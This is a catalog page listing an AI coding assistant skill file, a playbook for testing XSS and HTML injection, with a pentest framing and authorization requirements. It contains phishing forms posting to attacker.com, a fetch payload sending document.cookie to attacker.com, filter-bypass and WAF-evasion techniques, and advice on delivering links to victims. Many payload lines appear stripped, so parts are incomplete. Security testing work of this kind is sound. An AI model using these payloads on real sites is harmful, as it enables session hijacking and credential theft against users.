Xss Html Injection
This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.
$ npx claude-code-templates@latest --skill="security/xss-html-injection" --yesRequires Claude Code. The command adds this skill to your project's .claudedirectory — nothing runs on ToolZip's servers.
What's inside this skill
Component source
Cross-Site Scripting and HTML Injection Testing
Purpose
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
Inputs / Prerequisites
Required Access
- Target web application URL with user input fields
- Burp Suite or browser developer tools for request analysis
- Access to create test accounts for stored XSS testing
- Browser with JavaScript console enabled
Technical Requirements
- Understanding of JavaScript execution in browser context
- Knowledge of HTML DOM structure and manipulation
- Familiarity with HTTP request/response headers
- Understanding of cookie attributes and session management
Legal Prerequisites
- Written authorization for security testing
- Defined scope including target domains and features
- Agreement on handling of any captured session data
- Incident response procedures established
Outputs / Deliverables
- XSS/HTMLi vulnerability report with severity classifications
- Proof-of-concept payloads demonstrating impact
- Session hijacking demonstrations (controlled environment)
- Remediation recommendations with CSP configurations
Core Workflow
Phase 1: Vulnerability Detection
Identify Input Reflection Points
Locate areas where user input is reflected in responses:
# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)Basic Detection Testing
Insert test strings to observe application behavior:
<!-- Basic reflection test -->
<test123>
<!-- Script tag test -->
<!-- Event handler test -->
<img src=x>
<!-- SVG-based test -->
<svg>
<!-- Body event test -->
<body>Monitor for:
- Raw HTML reflection without encoding
- Partial encoding (some characters escaped)
- JavaScript execution in browser console
- DOM modifications visible in inspector
Determine XSS Type
Stored XSS Indicators:- Input persists after page refresh
- Other users see injected content
- Content stored in database/filesystem
- Input appears only in current response
- Requires victim to click crafted URL
- No persistence across sessions
- Input processed by client-side JavaScript
- Server response doesn't contain payload
- Exploitation occurs entirely in browser
Phase 2: Stored XSS Exploitation
Identify Storage Locations
Target areas with persistent user content:
- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferencesCraft Persistent Payloads
<!-- Cookie stealing payload -->
<!-- Keylogger injection -->
<!-- Session hijacking -->
<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>Phase 3: Reflected XSS Exploitation
Construct Malicious URLs
Build URLs containing XSS payloads:
# Basic reflected payload
https://target.com/search?q=
# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
# Event handler in parameter
https://target.com/page?name="><img src=x>
# Fragment-based (for DOM XSS)
https://target.com/page#Delivery Methods
Techniques for delivering reflected XSS to victims:
1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domainsPhase 4: DOM-Based XSS Exploitation
Identify Vulnerable Sinks
Locate JavaScript functions that process user input:
// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()Identify Sources
Locate where user-controlled data enters the application:
// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorageDOM XSS Payloads
// Hash-based injection
https://target.com/page#<img src=x>
// URL parameter injection (processed client-side)
https://target.com/page?default=
// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>Phase 5: HTML Injection Techniques
Reflected HTML Injection
Modify page appearance without
<!-- Content injection -->
<h1>SITE HACKED</h1>
<!-- Form hijacking -->
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>
<!-- CSS injection for data exfiltration -->
<!-- iframe injection -->
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>Stored HTML Injection
Persistent content manipulation:
<!-- Marquee disruption -->
<marquee>Important Security Notice: Your account is compromised!</marquee>
<!-- Style override -->
<!-- Hidden content with CSS -->
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>Phase 6: Filter Bypass Techniques
Tag and Attribute Variations
<!-- Case variation -->
<IMG SRC=x>
<!-- Alternative tags -->
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source>
<audio src=x>
<!-- Malformed tags -->
<img src=x
<img """>">Encoding Bypass
<!-- HTML entity encoding -->
<img src=x>
<!-- Hex encoding -->
<img src=x>
<!-- Unicode encoding -->
<!-- Mixed encoding -->
<img src=x>JavaScript Obfuscation
// String concatenation
// Template literals
// Constructor execution
// Base64 encoding
// Without parenthesesWhitespace and Comment Bypass
<!-- Tab/newline insertion -->
<img src=x>
<!-- JavaScript comments -->
<!-- HTML comments in attributes -->
<img src=x<!--comment-->Quick Reference
XSS Detection Checklist
1. Insert → Check execution
2. Insert <img src=x> → Check event handler
3. Insert "> → Test attribute escape
4. Insert alert(1) → Test href/src attributes
5. Check URL hash handling → DOM XSS potentialCommon XSS Payloads
| Context | Payload |
|---|---|
| HTML body | ` |
| HTML attribute | "> |
| JavaScript string | ';alert(1)// |
| JavaScript template | ${alert(1)} |
| URL attribute | alert(1) |
| CSS context | |
| SVG context |
Cookie Theft Payload
Session Hijacking Template
Constraints and Guardrails
Operational Boundaries
- Never inject payloads that could damage production systems
- Limit cookie/session capture to demonstration purposes only
- Avoid payloads that could spread to unintended users (worm behavior)
- Do not exfiltrate real user data beyond scope requirements
Technical Limitations
- Content Security Policy (CSP) may block inline scripts
- HttpOnly cookies prevent JavaScript access
- SameSite cookie attributes limit cross-origin attacks
- Modern frameworks often auto-escape outputs
Legal and Ethical Requirements
- Written authorization required before testing
- Report critical XSS vulnerabilities immediately
- Handle captured credentials per data protection agreements
- Do not use discovered vulnerabilities for unauthorized access
Examples
Example 1: Stored XSS in Comment Section
Scenario: Blog comment feature vulnerable to stored XSS Detection:POST /api/comments
Content-Type: application/json
{"body": "", "postId": 123}Example 2: Reflected XSS via Search Parameter
Scenario: Search results page reflects query without encoding Vulnerable URL:https://shop.example.com/search?q=testhttps://shop.example.com/search?q=https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3EExample 3: DOM-Based XSS via Hash Fragment
Scenario: JavaScript reads URL hash and inserts into DOM Vulnerable Code:document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);https://app.example.com/dashboard#<img src=x>Example 4: CSP Bypass via JSONP Endpoint
Scenario: Site has CSP but allows trusted CDN CSP Header:Content-Security-Policy: script-src 'self' https://cdn.trusted.comTroubleshooting
| Issue | Solutions |
|---|---|
| Script not executing | Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled |
| Payload appears but doesn't execute | Break out of attribute context with " or '`; check if inside comment; test different contexts |
| Cookies not accessible | Check HttpOnly flag; try localStorage/sessionStorage; use no-cors mode |
| CSP blocking payloads | Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass |
| WAF blocking requests | Use encoding variations; fragment payload; null bytes; case variations |
Related Claude Code Skills
Vulnerability Scanner
Advanced vulnerability analysis principles. OWASP 2025, Supply Chain Security, attack surface mapping, risk prioritization.
Api Security Best Practices
"Implement secure API design patterns including authentication, authorization, input validation, rate limiting, and protection against common API vulnerabilities"
Security Best Practices
"Perform language and framework specific security best-practice reviews and suggest improvements. Trigger only when the user explicitly requests security best practices guidance, a security review/report, or secure-by-default coding help. Trigger only for supported languages (python, javascript/typescript, go). Do not trigger for general code review, debugging, or non-security tasks."
Top Web Vulnerabilities
This skill should be used when the user asks to "identify web application vulnerabilities", "explain common security flaws", "understand vulnerability categories", "learn about injection attacks", "review access control weaknesses", "analyze API security issues", "assess security misconfigurations", "understand client-side vulnerabilities", "examine mobile and IoT security flaws", or "reference the OWASP-aligned vulnerability taxonomy". Use this skill to provide comprehensive vulnerability definitions, root causes, impacts, and mitigation strategies across all major web security categories.
Sql Injection Testing
This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.
Security Audit
"Comprehensive security auditing workflow covering web application testing, API security, penetration testing, vulnerability scanning, and security hardening."
Catalog data and component content are sourced from the open-source davila7/claude-code-templates project (MIT license). ToolZip curates the listing and writes original descriptions; every component links back to its original source. Claude Code is a product of Anthropic. ToolZip is an independent catalog and is not affiliated with or endorsed by Anthropic.